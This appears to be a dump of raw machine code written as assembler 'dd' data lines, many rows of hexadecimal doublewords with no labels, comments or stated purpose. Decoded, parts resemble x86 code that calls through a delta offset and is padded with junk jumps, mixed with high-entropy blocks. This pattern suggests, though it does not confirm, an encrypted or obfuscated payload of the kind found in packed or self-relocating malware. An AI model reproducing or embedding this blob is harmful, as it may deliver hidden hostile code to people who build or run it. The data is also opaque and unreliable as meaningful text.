dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0BAC35747h, 0F3213FEDh
dd 0D5BD8957h, 8907E020h, 0E018158Dh, 50006A07h, 3E8h
dd 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h
dd 148A11BAh, 9A1530Dh, 5E86E84h, 0CE000000h, 83E9116Bh
dd 8D8958FCh, 7E023B9h, 204985C7h, 6BF007E0h, 0BD290000h
dd 7E01D49h, 22C585C7h, 7E0h, 81660000h, 813A0DC2h, 1FFCE6C0h
dd 0C5B5FF53h, 6A07E023h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 1A042444h, 43000000h, 31E8C353h, 0AEE76D5Dh
dd 0C1858954h, 0FF07E001h, 0E0209195h, 50006A07h, 3E8h
dd 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h
dd 0C411CCF6h, 3BB39A49h, 95FF006Ah, 7E018A9h, 1CEBC08Bh
dd 74D8878Ah, 28F364A1h, 17EEE3CCh, 0DA0120A9h, 67EF0785h
dd 0A05AC353h, 0DC86DEDAh, 0F1508D8Dh, 6A07E6h, 3E852h
dd 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
dd 8B6422C3h, 0E0153D9Dh, 13E907h, 233B0000h, 25AC0F00h
dd 7DFA9DC4h, 12547894h, 67E79C67h, 158D89DBh, 6A07E018h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 18042444h
dd 46000000h, 52B0C356h, 8BE01C53h, 0E0341D95h, 0EE907h
dd 0FF820000h, 0FAE55012h, 5ED4D2F5h, 608722CAh, 204985C7h
dd 726007E0h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 150424h, 53430000h, 0F27ABC3h, 58Ch, 0D3816600h, 85C7D7FBh
dd 7E022C5h, 0
dd 85DB5FFh, 0CF8007E0h, 9195FF79h, 8B07E020h, 0E023019Dh
dd 0FF006A07h, 0E018A995h, 0EBC08B07h, 6F09DA1Fh, 0C106DBF8h
dd 8C2433Ah, 0F86549B9h, 0B503811h, 1CA13CCEh, 0C7859AEEh
dd 8AD66222h, 0F21A8D8Dh, 0B70F07E6h, 158D89DBh, 6A07E018h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1A042444h
dd 47000000h, 689DC357h, 0EC6290A1h, 85C7F811h, 7E02049h
dd 7428h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 17h, 6AC35646h, 0FCF859ECh, 0C7D9BF0Fh, 0E022C585h
dd 7, 5E900h, 0D8E00000h, 0FF383C77h, 0E00F59B5h, 13E907h
dd 0CE4D0000h, 0F54E830Eh, 22D4C6CEh, 208DF821h, 44FF2405h
dd 9195FFFDh, 8B07E020h, 0DB589F1h, 6A07E005h, 0A995FF00h
dd 8B07E018h, 1219EBC0h, 0CB7E636Ah, 9A6503BAh, 2240884Ah
dd 3FE76415h, 878F4A7Bh, 8093CF87h, 0BE8h, 0EF368200h
dd 0F0DEBC1Ch, 0B3E37Fh, 187D8D89h, 0B05E07E0h, 78C68132h
dd 0B500005Ah, 0B8DB3383h, 67B3F2FBh, 503334FFh, 5840Fh
dd 5FB80000h, 58430334h, 0B1958B5Fh, 8107E030h, 95ACEF7h
dd 6CEC8079h, 11F2EF81h, 0F38A319Dh, 0DC13C781h, 0B70F5E61h
dd 8B6657D6h, 1E048FC3h, 1880Fh, 89F80000h, 0E03321B5h
dd 3EB8307h, 1081858Bh, 894B07E0h, 0E01D099Dh, 34FB8107h
dd 0FFFFFA6h, 1B85h, 9E900h, 0FF7A0000h, 0BAAF13DAh, 0E9BBB19Fh
dd 19h, 0B2C91D24h, 0F1B0DCCh, 13CA8166h, 0FF7AE9C0h, 0A2EAFFFFh
dd 0C6C8CF36h, 0C28D8DBEh, 0F07E6F3h, 681h, 0F58D2900h
dd 8907E015h, 0E018158Dh, 51006A07h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1804h, 0C3514100h, 0E2B69EE3h
dd 0F78B66B1h, 204985C7h, 60A007E0h, 0BD090000h, 7E01E79h
dd 22C585C7h, 7E0h, 6A0000h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 1D0424h, 56460000h, 0D9BD2EC3h, 57148B9h
dd 663FEEFBh, 0B5FFD38Bh, 7E006D5h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 1Bh, 67C35242h, 2C2AB227h, 0FFBDB7E7h
dd 0E0209195h, 56006A07h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1A04h, 0C3564600h, 709E15FCh, 6A96288Dh
dd 0A995FF00h, 8B07E018h, 1769EBC0h, 7A3F60F6h, 0C9F9FA8h
dd 0D0F64717h, 6DD4B708h, 9187C9F8h, 87FC9A7Fh, 8002FEAAh
dd 7F02F7C7h, 0CB0C33C5h, 0E6CABA60h, 88467B3Bh, 7B4077ECh
dd 0D9A7FDD5h, 7ADB0CA3h, 0A725E15Ch, 0D3AD3B1h, 113C9EA9h
dd 6EF9FC94h, 5693C59Fh, 9895E7AAh, 0AF677B7Ah, 30F16BEEh
dd 0CF0D58BFh, 92F42299h, 3FA6FF36h, 4696EE60h, 10E8h
dd 9CA68A00h, 348C24F4h, 414EB7E2h, 1C35C661h, 0D3816622h
dd 8B5FA2B1h, 0E0059D8Dh, 8BC78107h, 0E900006Fh, 11h, 0F16AD8FDh
dd 0C69BA0E1h, 3C3E42DFh, 75E3E931h, 1BBFBA70h, 8BF90000h
dd 0B98D8B07h, 8107E02Ah, 93776FE8h, 0B8B96659h, 14F0818Bh
dd 0F5214532h, 0A550E881h, 8B66427Ch, 9D8950CAh, 7E01A59h
dd 8D89078Fh, 7E01B99h, 0E904EF83h, 0Ah, 40045D3Eh, 0E9116BCEh
dd 0EA819383h, 1, 0FFB1850Fh, 0D381FFFFh, 6837F919h, 8E8h
dd 677F5400h, 78DA42A3h, 0BE82Ah, 16820000h, 832FA93Ch
dd 648F1139h, 0DD9589D1h, 5907E033h, 958B605Eh, 7E020F1h
dd 8161CE8Bh, 66FDC6h, 0A58D8900h, 0B807E028h, 198Bh, 8E9h
dd 38B03200h, 7E53F4E9h, 891E8B3Bh, 0E012318Dh, 0E7C38107h
dd 0B3D3F58h, 0E026E195h, 7DEB8107h, 66663FF3h, 0F381FA8Bh
dd 16996FFFh, 8B53BDB2h, 0E9068FD6h, 0Eh, 0CE4BA12h, 0B1AB5AAh
dd 0EBFABB88h, 0EE8354D3h, 0DD958B03h, 4E07E01Bh, 0F48F18Ah
dd 2185h, 0AE900h, 4B40000h, 899326F9h, 0E28E2120h, 29E9h
dd 0E9C51D00h, 3A754D3Fh, 0CB8596DFh, 95331D1Bh, 7E01BD5h
dd 0FFFF84E9h, 0B8A180FFh, 4A1D1732h, 0DA9DE491h, 80222DA9h
dd 0BE87527h, 3C000000h, 844FC0E9h, 83DD7464h, 95B54E7h
dd 0E004ED9Dh, 0F4C38107h, 68000064h, 0
dd 3159FE8Bh, 0E01C759Dh, 0B148B07h, 114EEA81h, 85311D37h
dd 7E02A8Dh, 0A5C6F281h, 0B70F43E5h, 54EA81F2h, 8937759Fh
dd 0E007559Dh, 0B148907h, 0FF98B66h, 384h, 0FEBF0F00h
dd 0F03E983h, 68Dh, 6DB58900h, 4907E030h, 0F981F18Bh, 0FFFF9BBCh
dd 25850Fh, 7E80000h, 90000000h, 0EEDC47DDh, 0B5896D5Ah
dd 7E004F5h, 25E958h, 7F9A0000h, 559D016Dh, 0D4BA621Eh
dd 0E9E2C026h, 0FFFFFF85h, 0D976FCDBh, 0D200304Ch, 84DDA731h
dd 776EC1F2h, 0E892FF02h, 11h, 5370A497h, 2C55FBBAh, 33A86EF8h
dd 0B7DD0061h, 10E913h, 181C0000h, 0AEF3A229h, 354CAC48h
dd 583351DAh, 8B5960A1h, 0E02A5995h, 0DFC18107h, 9000061h
dd 0E01B3D85h, 9F63307h, 0E02F69BDh, 0E34FF07h, 55F3C081h
dd 665F6254h, 0EF81C18Bh, 21BB5DBCh, 16898D89h, 0EF8107E0h
dd 5D6CB75Ah, 1E819D29h, 0EF8107E0h, 6A848483h, 9FCA8166h
dd 313C899Bh, 6800Fh, 95310000h, 7E02325h, 25FD8D09h, 0EE8307E0h
dd 8154B404h, 0FF9EE0FEh, 1B850FFFh, 89000000h, 0E010E18Dh
dd 21E907h, 6A470000h, 9691946h, 0C9D288DCh, 0B2D69A19h
dd 0BD89F4E3h, 7E015B5h, 0FFFF84E9h, 276FFEFFh, 42C541CAh
dd 6A234ACh, 7AA27C24h, 2B3BB37Dh, 2181D020h, 9083B42Ah
dd 0DD6F3025h, 0A7863025h, 0F2AED198h, 8D893022h, 848630ADh
dd 43EB8DA6h, 2E8637C5h, 90864BA1h, 1103F625h, 6A81D022h
dd 784A9B4Dh, 2DB2B1D6h, 0DFAE2BCEh, 6A6785DAh, 0A40B37C5h
dd 97654FCDh, 0B80DE0DAh, 23DFB5E3h, 0FAC837C5h, 9863021h
dd 2CC4E765h, 66C2BB75h, 0A886BB21h, 0C8821461h, 49EB85DAh
dd 0A10B37C5h, 15654FCDh, 0F10DE0DAh, 8486209Ch, 428ED925h
dd 2E203025h, 90863EA0h, 818D7925h, 0DB76B52Ah, 1F6FCFDAh
dd 84863025h, 64C8D8B8h, 42838822h, 0C2793025h, 67A58DA8h
dd 0C50B37C3h, 2360C7CFh, 22A3229Dh, 42491BA3h, 6A234ACh
dd 7AA27C24h, 2B3BB37Dh, 2181D020h, 9083B42Ah, 0DD6F3025h
dd 0A7863025h, 0E983D198h, 0B9A4F305h, 22h, 0F89B8D8Dh
dd 89FC07E6h, 0E018158Dh, 4985C707h, 7E020h, 0F00006Bh
dd 985h, 3830F00h, 66000000h, 85C7F88Bh, 7E022C5h, 0
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 6BC35545h
dd 0B5FF46F7h, 7E01E49h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 16h, 4C35343h, 8F0FA6BBh, 0
dd 209195FFh, 0BD8907E0h, 7E0251Dh, 95FF006Ah, 7E018A9h
dd 0DEBC08Bh, 2E300A7h, 0E5054333h, 0BD7C795Dh, 5E9EFh
dd 3A1D0000h, 0E9003637h, 86Bh, 2B45FFE7h, 0A0BA7259h
dd 1731E9CEh, 8AA45C45h, 21CD6B8h, 2D0F04ADh, 0A3875973h
dd 1AFDCFE9h, 90764862h, 0F1DCBCD6h, 0D3A8E3CEh, 8F299B21h
dd 0BAA0CCE2h, 2FE9CF29h, 827E915h, 0F6D8B2F1h, 4FF3363Ch
dd 0C92E5ABEh, 91737176h, 4E6C0D7h, 484E454Ah, 742E14E6h
dd 0D18B716Fh, 53164CCh, 74976780h, 21DA833Dh, 2EE2E639h
dd 3EB3B90Ch, 0F7B197E1h, 8FC3FFDDh, 7FEC53D4h, 36000000h
dd 8A8F492Bh, 0ECC5E827h, 9229BAA0h, 0EFA98D3Fh, 0F3EDF3EAh
dd 0AF675011h, 308B3AAh, 61661E05h, 0C2C78163h, 7AC51A4Fh
dd 9B8155Eh, 0A10AA7CAh, 217429BAh, 853F211Bh, 0E6518D6Bh
dd 0C59F5434h, 9B1F25DFh, 36h, 8F492BE5h, 0A16B438Ah, 503229BAh
dd 0AD939196h, 7BCEEF3h, 0ED5E67AAh, 0AA644690h, 518E90h
dd 0DE70000h, 0CB836829h, 1F24CFC6h, 2EF310CFh, 0A651D04Eh
dd 492B7EA0h, 0BE4C788Fh, 0BD0B0E6h, 2D74C1C7h, 29BA9F82h
dd 7A7F391Dh, 0DBE09A7Ch, 8CDE3368h, 0F4EBF0AAh, 51AE6349h
dd 546B2507h, 9FBFF215h, 0F8B729BAh, 0BA9FDCD5h, 0A44FA229h
dd 0D1423C9Eh, 0B6D9F04Fh, 2E5A9108h, 46E30F4Eh, 1CACE82Ch
dd 43793833h, 0A2C521DAh, 21DA440Fh, 0EA3D1467h, 6D72C5E4h
dd 0B8D28A6Fh, 444901E6h, 0F00724ECh, 7A4785CDh, 0BFA1FB26h
dd 5F555A05h, 0A68BDD32h, 94ABD7EEh, 0C2BFAA7Ah, 9062C4CAh
dd 0A7EEF3ABh, 29BA06FAh, 1365BA7Bh, 625C762Eh, 3E54BD1h
dd 61464449h, 7953FEA9h, 0B59B75D8h, 0F0C1E4FBh, 8629BAA0h
dd 2B0B2D33h, 0C6B18B45h, 4A500AECh, 0F31FEEE8h, 415734DEh
dd 0DF94A715h, 11C3BF3Ch, 746B7028h, 26EA6Eh, 0D1340000h
dd 0C612EC4Bh, 8C254887h, 0F229BAA0h, 5B56999Fh, 2329BAA1h
dd 0C4C6F6D0h, 0B48E462Bh, 2AFBA2E8h, 91000000h, 12EC4BD1h
dd 0F306ECC6h, 0C1C0658Eh, 272DD8BFh, 320CA5C8h, 0AA7D29BAh
dd 0BA322A87h, 56015429h, 2BC4C67Ch, 0E8B48E46h, 8B452BA2h
dd 20003F86h, 0F12629BEh, 0AA644A9Ch, 22DCBE90h, 833D1F1Dh
dd 70CD167Eh, 708A4426h, 306B5492h, 397F54h, 2BC90000h
dd 2E868B45h, 542E45E2h, 0B9B0B56Dh, 0DD3154B3h, 5B2E5A8Bh
dd 61661E01h, 47BABF6Ah, 0B36B4E28h, 7438799Ch, 0EB3E21DAh
dd 641370E5h, 0E5EAA48Ah, 8EEE8EEh, 2B3A344Eh, 2E868B45h
dd 542E45E2h, 0BAB1B670h, 3C1655B4h, 0A39A9F57h, 6A6B3C9Fh
dd 242A13DFh, 5A5C21E1h, 0AAC4172Eh, 0AFBB4773h, 55DC42B3h
dd 0B56F554Fh, 0FD205F9Eh, 21DA0BB4h, 357C77CAh, 4121DA0Ch
dd 549BE8EEh, 0A5E8363Ch, 0DF1CBEAh, 7BD84D53h, 77914B31h
dd 5BFA5h, 0A4BB78A8h, 272DE5CAh, 3F5D89C8h, 0E61E67F7h
dd 0F6FBB39Ah, 0B4E54FFh, 0AAC89A67h, 65CE591h, 4D22FA06h
dd 775188A2h, 36EED392h, 898F3A31h, 0EC4BD167h, 2BB2D812h
dd 0C3B18B45h, 0DEF31FC9h, 501C5734h, 66000000h, 2E54BD1h
dd 374E454Ah, 0BAA09D14h, 0DB86D929h, 0EA3C601h, 6829BAA1h
dd 3F24FE15h, 0C65F8187h, 0C00D5B87h, 0ABE98C21h, 0BA512988h
dd 57025529h, 462B2F51h, 65E8B48Eh, 0BED96C39h, 274A5AE3h
dd 29B9F58Ah, 0F0F6A1F4h, 50FBCEh, 0D1910000h, 96D5EC4Bh
dd 211CD6BCh, 29BAA090h, 0A12E83A6h, 0F54829BAh, 753C5F1Eh
dd 129BAA0h, 0DBFD03AEh, 4B03ECC6h, 0EA494F46h, 0BAA0EAC7h
dd 977A5429h, 5EC5D9DFh, 2BC4C684h, 0B2FF2246h, 0CC29BAA0h
dd 0C6F4CE79h, 5EC64C9Ah, 0BAC0CB3Dh, 452B377Dh, 0E423868Bh
dd 706B230Ah, 29BAA141h, 0A1E4EA3Dh, 29BE1F9Eh, 0F03A97CCh
dd 6436500Ah, 0C5C3C882h, 0BC2429E3h, 8A274A89h, 0B429B61Fh
dd 0B6202091h, 2C035629h, 15ED3D9h, 11BD5B7h, 306BE723h
dd 191054h, 2B5A0000h, 2E868B45h, 0B2E45E2h, 2E5AA48Fh
dd 1E9196E9h, 5C4294E9h, 2B8E88A2h, 9A748B45h, 0A7F4FAB4h
dd 4B62C14Fh, 5ABD1228h, 0FF196C2Eh, 0F9AC605h, 4C1C21FBh
dd 0C74DA1A7h, 9AC68E68h, 0EE58B826h, 9EEBF1C3h, 0AD87C678h
dd 9B1611CBh, 0E329BAA0h, 0AA908A90h, 8CC316F0h, 1116D0B2h
dd 1FF2141Ah, 5734DEF3h, 251Ch, 59FD2900h, 6B5971FEh, 0D192B4BAh
dd 0C612EC4Bh, 0BAA10EA3h, 3B156829h, 462BC4C6h, 0A2E8B48Eh
dd 52FBh, 4BD19100h, 0A3C612ECh, 29BAA10Eh, 0EBC6E928h
dd 9329BAA0h, 53263A40h, 0BAA08130h, 8CD0D029h, 90EA0D6Eh
dd 0A4BB66B9h, 2429E1CAh, 0C605272Dh, 454B03ECh, 462BE4E6h
dd 65E8B48Eh, 6184A88Bh, 29BAA150h, 2328D326h, 0A1149DC0h
dd 176A29BAh, 2B44666Ch, 3F868B45h, 29BE2000h, 4A9CF126h
dd 961B3E64h, 0E029B61Fh, 0F6C8E28Dh, 0EE3BFD10h, 1A56A613h
dd 82797E38h, 0C4272CD7h, 9B4F6285h, 0C4E729B6h, 29B69AEDh
dd 55F3689h, 6D646923h, 0B868BCC2h, 0E941647Bh, 9F2E567Bh
dd 7AF4BDE0h, 378A21D6h, 0D178728Ch, 0C612EC4Bh, 0A14D6487h
dd 0D62929BAh, 0F42083D0h, 2C713D5Fh, 4F717779h, 0B18B452Bh
dd 0ECC6C9C3h, 454B5109h, 5734DE09h, 5342h, 92754F00h
dd 69327181h, 0E792BE71h, 0C3E5EBE2h, 5D804BD1h, 29BAA154h
dd 0DCB36D4Fh, 3CF4D789h, 0BB954037h, 0A10EA3C6h, 156829BAh
dd 6487C63Bh, 29BAA14Dh, 71D0D629h, 8E462B6Fh, 8B65E8B4h
dd 0F4EBF0A8h, 0A0F7BADDh, 2C7F29BAh, 42FB0426h, 91000000h
dd 9B934BD1h, 0C94AA3E1h, 0C64822CDh, 0BAA10EA3h, 694E2829h
dd 0AFB5ACB1h, 0C65A349Bh, 0C0B95B87h, 57162FE5h, 5973E6DBh
dd 0D13BEC0h, 809AC6EBh, 1F2AAAE9h, 1CD4BB6Dh, 201A2017h
dd 0E8A9833Bh, 8B452BA2h, 20003F86h, 72629BEh, 124482Dh
dd 29B61FB0h, 0C3C873C6h, 0FC51C6CCh, 82B1C4AAh, 75B1BCEEh
dd 0CF80F4F8h, 953402BEh, 0BF99D0EAh, 211B21DBh, 0BFF2153Bh
dd 0B729B5D3h, 5CB4B964h, 3D6077B4h, 2E55C525h, 0DEC9EF1Bh
dd 151B92E5h, 839DF00Fh, 0EC4BD189h, 2BB2D812h, 0C3B18B45h
dd 0DEF31FC9h, 6A1C5734h, 66000000h, 0D5EC4BD1h, 585C14FBh
dd 7224726Ah, 0DDFF0593h, 0D95B87C6h, 16B685F3h, 8EF1FBB0h
dd 0F3FC908Ah, 2E07AAEDh, 1C6F29BAh, 2BC4C642h, 0B2FF2246h
dd 0CC29BAA0h, 0E8F4CE79h, 0AE032665h, 0C829BAA0h, 0F4C37175h
dd 0C9085EFBh, 87C6A1C3h, 0BAA14D64h, 0BFD62929h, 0BAA1159Ch
dd 80E6129h, 30DEh, 765D3700h, 0BCC2B9BEh, 0EC4BD19Ah
dd 0EA3C612h, 7329BAA1h, 371BF50Ch, 0CF81787Dh, 342B30E8h
dd 0C4C60C2Eh, 7035462Bh, 0F279BAE9h, 0E8B7913Ch, 8B452BA2h
dd 45E22E86h, 0E2C3EF2Eh, 0B42E5CA9h, 7D139E99h, 186B29BAh
dd 9A74B312h, 0D83EA2B3h, 18578170h, 6B71686Dh, 5AA32628h
dd 9376502Eh, 8B4529DBh, 6A898F86h, 4FD1FD17h, 49B6D9F0h
dd 0D1267C54h, 957B797Eh, 6D9E7382h, 0BFC33550h, 49D8A36Eh
dd 9BB560CCh, 9ED0E3C9h, 671FA8B2h, 0ABF2F7A2h, 1863BC7Fh
dd 0CD1F74A9h, 0EA162DE7h, 0D6E015CEh, 35EDD2BBh, 888E3930h
dd 0B46E5426h, 0EA0D4CAFh, 0F7E3E6C7h, 3237EFD4h, 0B11643Bh
dd 6B702811h, 3CEB4875h, 0E6D7DAFDh, 4C9FF7E3h, 0AC664C46h
dd 20DAC092h, 3ED1Bh, 24830000h, 89432B66h, 0E6A08684h
dd 4800E3E1h, 0A7614543h, 8C2A4A2h, 69230503h, 0C57D6664h
dd 25DDC2C0h, 833B2220h, 0EC816D7Eh, 4, 89240C89h, 4C181E1h
dd 83000000h, 0C8704E9h, 89515C24h, 4C181E1h, 83000000h
dd 0C8704E9h, 3C895C24h, 15336824h, 34890000h, 7DBA5224h
dd 0C1542533h, 0D2F702EAh, 7C76F281h, 814A68D6h, 0C62967C2h
dd 5AD78985h, 24348B54h, 4C481h, 0EC810000h, 4, 8F243C89h
dd 348B0846h, 0E0895024h, 405h, 40500h, 4870000h, 3C8B5C24h
dd 0E6895624h, 4C681h, 0C6830000h, 24348704h, 7FB9E95Ch
dd 0FEC9FFF9h, 0B83280A7h, 7E70092h, 0E0FFC503h, 1DEAC232h
dd 7DA0850Ah, 6D58AFB8h, 6F263455h, 2E76534Bh, 7C25407Ah
dd 34694B2Ch, 29A7AA97h, 799B2AB4h, 93C8B5Eh, 2D94B92Ah
dd 516A97E0h, 4DBF2BF2h, 3F7DEA25h, 68A7028Ah, 5C1837A0h
dd 2410736Ah, 23831E29h, 6B9B584Ch, 8C27DE0h, 10E8h, 2057A700h
dd 38F041AFh, 98DD53A9h, 2C1EB732h, 0F38B667Bh, 11C3815Bh
dd 0E9000073h, 0Ch, 76FEB642h, 877A4C9Bh, 0E498FF48h, 0B9h
dd 2A67BE00h, 48B5B99h, 40DF810Bh, 817A920Dh, 1F882DC0h
dd 0EF81660Ah, 0E8819F1Ch, 457D8F2Fh, 5A8CDE81h, 0F081386Dh
dd 4E88E187h, 14E9h, 0F906C300h, 7DC40500h, 83BB8F4Eh
dd 38AAF125h, 779FD083h, 8166507Dh, 8F477CCEh, 24B20B04h
dd 0ADC28166h, 0F8E9819Eh, 0E9297A97h, 0Fh, 0B8483A24h
dd 0F4AC5083h, 41DAC5B4h, 81D377F5h, 7A97F4C1h, 0D2816629h
dd 0F98159CDh, 0FFFF8DF4h, 2B850Fh, 0DE90000h, 34000000h
dd 807FD7CEh, 1A8F279Ah, 3495DB3Dh, 3DE9h, 0F543E300h
dd 4CD19BA1h, 3E0811A8h, 66C6C02Ah, 4B03A0F9h, 12E838h
dd 7F1B0000h, 0F6E6924h, 2F4736AAh, 6759A511h, 8AE5202Dh
dd 0FF38E95Ah, 91FFFFFFh, 2A928047h, 0A672B00Ch, 8D8DA774h
dd 7E70326h, 66F08B66h, 0C385EB81h, 18158D89h, 21B307E0h
dd 204985C7h, 5BA807E0h, 0B8660000h, 0D38A80C1h, 22C585C7h
dd 7E0h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 140424h, 53430000h, 0DE82EC3h, 64000000h, 0F28EB1E8h
dd 66414DD3h, 57034C72h, 5F515EF5h, 7B9B5FFh, 0C78107E0h
dd 229E9EE1h, 209195FFh, 6A07E0h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 140424h, 57470000h, 6AF52EC3h, 0A995FF00h
dd 8B07E018h, 6C0BEBC0h, 27CB2127h, 32849D96h, 14E8E00Bh
dd 77000000h, 8936A40Dh, 0C2474ADh, 0B2985D6Ah, 4A8804E5h
dd 0F3DC91Eh, 183h, 895FF500h, 0E016B595h, 0D8C78107h
dd 9000075h, 0E007798Dh, 8BC02B07h, 8D09070Ch, 7E01FE5h
dd 0FB78C181h, 8D895D8Dh, 7E01B9Dh, 0FF5EE981h, 0BA666756h
dd 0F181C6E8h, 59279506h, 57D9589h, 0C8907E0h, 39858907h
dd 307E010h, 0E01101B5h, 2E88307h, 48E0Fh, 0BE660000h
dd 48488431h, 11E8h, 0C8B43900h, 0E2636E35h, 0A31B611Ch
dd 0F03309D6h, 815E637Ah, 0FF8AECF8h, 11850FFFh, 8B000000h
dd 0E010E1B5h, 21E907h, 64B0000h, 5CB57CB1h, 341DB589h
dd 78E907E0h, 0BEFFFFFFh, 0E165B8BAh, 10584Ch, 0CBFE05F2h
dd 8DE6D53Ah, 0E704998Dh, 0C1BF0F07h, 18158D89h, 816607E0h
dd 8B9C86D3h, 0E0119D95h, 4985C707h, 9407E020h, 0E900005Bh
dd 8, 5D3FF9DFh, 0ECDDBF1Bh, 22C585C7h, 7E0h, 0B70F0000h
dd 0FD2DBFD3h, 0B5FF2A2Dh, 7E004A9h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 1Ah, 0A1C35545h, 1BD4A5DAh, 9E90E94h
dd 0E000000h, 3C260829h, 14671AD9h, 66F28B66h, 0B29DDF81h
dd 209195FFh, 9D8B07E0h, 7E0048Dh, 6AC58Ah, 18A995FFh
dd 0C08B07E0h, 5D5F5EEBh, 403FC6FBh, 0CCC67673h, 964CF741h
dd 155C6E64h, 6A23857Eh, 0FB1503AAh, 9DF3275Eh, 34C82D1Fh
dd 5B968DBEh, 56DFFA47h, 5274739Eh, 6EA2B22Fh, 0E2019892h
dd 0BF804A82h, 0F90882E8h, 0D2E04AE2h, 8E19A5D1h, 0F39B5B8Ah
dd 0B35DA7B1h, 0D6C36FDAh, 0E7EC1869h, 57B222F7h, 0A5EE4105h
dd 5D98D8Dh, 0C68B07E7h, 18158D89h, 8D0107E0h, 7E02DA9h
dd 204985C7h, 6A6007E0h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 1C0424h, 57470000h, 5A7736C3h, 2D1A5F6Ch
dd 958BEE55h, 7E0074Dh, 22C585C7h, 7E0h, 6A0000h, 3E853h
dd 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
dd 60578CC3h, 0B70FE5B2h, 0BB6661DEh, 0B5FF2E72h, 7E006D5h
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h, 0C9C35646h
dd 66B375BCh, 898D4CB8h, 0E0160D9Dh, 9195FF07h, 6A07E020h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1A042444h
dd 45000000h, 7A0CC355h, 6E7BE347h, 0B70F5089h, 6A5EDBh
dd 18A995FFh, 0C08B07E0h, 163469EBh, 0EFEFE6Eh, 0CB756473h
dd 45A1B72Bh, 404A42B3h, 16E5B4D4h, 79D2987Dh, 8967C5BBh
dd 725DB46Ch, 0C36345D1h, 7776A2AAh, 6935551Ah, 0B4CE93FDh
dd 0FB7F927h, 7DEEA9FDh, 0E852CFE0h, 4FF08E1Fh, 6BA8B6B4h
dd 0E887DA5Bh, 0DCBA1AFAh, 0CAE837D3h, 4EDFE28Ch, 0F728B4D9h
dd 290F435Dh, 25D5F3FFh, 0F6726013h, 0E8DCB955h, 14h, 14E2AB72h
dd 703FB6E5h, 0D8C542E4h, 611DCCA2h, 0A7C5FBCAh, 1E058589h
dd 0BE5A07E0h, 5DEDB617h, 726DC281h, 9D010000h, 7E02435h
dd 8060FF33h, 295313E6h, 0E02AD995h, 0FF615A07h, 0E8601734h
dd 0Eh, 4A3E2865h, 605CAB74h, 0EF1CF025h, 5BFCE162h, 6850Fh
dd 800F0000h, 0
dd 85315B61h, 7E0344Dh, 2B17C381h, 0F602C2Eh, 383h, 0F0BF0F00h
dd 2B018D89h, 816107E0h, 0C5DCC2F3h, 58B0F51h, 50000000h
dd 5959D480h, 0AB94C381h, 1C8968D3h, 81B58B3Ah, 8B07E000h
dd 2CEF81CEh, 89796B1Ah, 0E0265985h, 28C78107h, 0B8796B1Ah
dd 304278C7h, 8E70FF81h, 850FFFFFh, 0Ch, 16E95CB1h, 1B000000h
dd 6CEBBDE0h, 0E3CC99B8h, 0FF61E94Dh, 0EEC0FFFFh, 4898E336h
dd 0CE966h, 7C560000h, 1414h, 0
dd 0F1E90000h, 6E000004h, 0E0B2CC86h, 552741F9h, 0CC9EB870h
dd 3F112BE3h, 3489A35Dh, 0FAB4968Bh, 702A0EE0h, 0E9A18456h
dd 5D17FDCFh, 55786343h, 21D39A5Ch, 2B16B022h, 23868B45h
dd 0A7AC6449h, 0CEB0AAB0h, 4123FD14h, 69E3DF2Eh, 23CE9D45h
dd 8C75271Eh, 356CCED4h, 0B8BE765Bh, 191ED8BEh, 767B351Bh
dd 0D4D99178h, 85D72C61h, 94CBE59Fh, 62D4868h, 0D0D67453h
dd 213BF3D6h, 92D10EAh, 0B9D3CBE6h, 0B560B329h, 0B9B3B9B0h
dd 0B6191ED6h, 0D45D5477h, 0C61929B9h, 28E2C6C0h, 0A3002D23h
dd 0A4BE7659h, 492BECD2h, 0E8938A8Fh, 0D4129CE3h, 0A28929B9h
dd 0FEE7E5EAh, 5A0F4146h, 6091BA05h, 2771AD03h, 749A5434h
dd 0E4000000h, 868B452Bh, 0BAA1703Fh, 0BF99B429h, 7B3519D8h
dd 0F855CAD0h, 4B300A49h, 0A1199893h, 126529BAh, 67055D0Eh
dd 1E24B3A3h, 3457EA18h, 10554h, 2B4F0000h, 0E8A08544h
dd 533A383Dh, 0C3AA849Bh, 90F060Bh, 1DD5BEBCh, 1370A518h
dd 0F5D1E2C9h, 362B755Ah, 0E5B7D17Ch, 542E45FFh, 4BADB36Bh
dd 0FFB2D514h, 3729B9D1h, 0B9D19D14h, 0AF86D929h, 2B34565Ch
dd 0EDA58849h, 9BDA3D42h, 0BAA13978h, 0CD856A29h, 0A7FAD1C8h
dd 9CC0A7A1h, 0BAA13879h, 0D6DBFE29h, 0A029BAA0h, 7823764Dh
dd 6DC20B73h, 4926391Bh, 7FB483A1h, 5C2E48F3h, 0B9B7BC76h
dd 0BB171CD4h, 6BA7055Ah, 0C95434E8h, 494E06EFh, 95EEC3E6h
dd 358829BAh, 9500848Ah, 4A000000h, 788F492Bh, 0BE765F39h
dd 0BAA0EEC3h, 2F358829h, 47FFE4E2h, 0A45E4442h, 4BCA19Fh
dd 0FA578CFFh, 977190B7h, 0FDF4F9B3h, 0DB2D82F7h, 904F38F9h
dd 9B46F1A9h, 13CDAF81h, 127FAB0Eh, 0AAD54C95h, 0DBC4BEC4h
dd 3E201E23h, 9B817F84h, 0F5AADCE1h, 0E4455598h, 29E5318Fh
